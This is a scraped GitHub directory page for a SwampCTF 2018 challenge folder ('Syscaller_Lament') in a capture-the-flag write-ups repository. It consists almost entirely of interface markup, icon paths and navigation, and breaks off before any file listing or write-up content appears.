1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> phieulang1993 </span> <span>/</span> ctf-writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>19</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/phieulang1993/ctf-writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":119324220,"originating_url":"https://github.com/phieulang1993/ctf-writeups/tree/master/2018/swampctf/Syscaller_Lament","user_id":null}}" data-hydro-click-hmac="7e00c73db282f3f0fb4e9a94a0a68b3102cd1a68f02f91771202f8018566e52a"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/phieulang1993/ctf-writeups/refs" cache-key="v0:1517194975.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cGhpZXVsYW5nMTk5My9jdGYtd3JpdGV1cHM=" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/phieulang1993/ctf-writeups/refs" cache-key="v0:1517194975.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cGhpZXVsYW5nMTk5My9jdGYtd3JpdGV1cHM=" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>swampctf</span></span><span>/</span>Syscaller_Lament<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>swampctf</span></span><span>/</span>Syscaller_Lament<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/phieulang1993/ctf-writeups/tree-commit/1aff10a64dd9f17c9b6a900ea0118915f000a246/2018/swampctf/Syscaller_Lament" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/phieulang1993/ctf-writeups/file-list/master/2018/swampctf/Syscaller_Lament"> Permalink <div 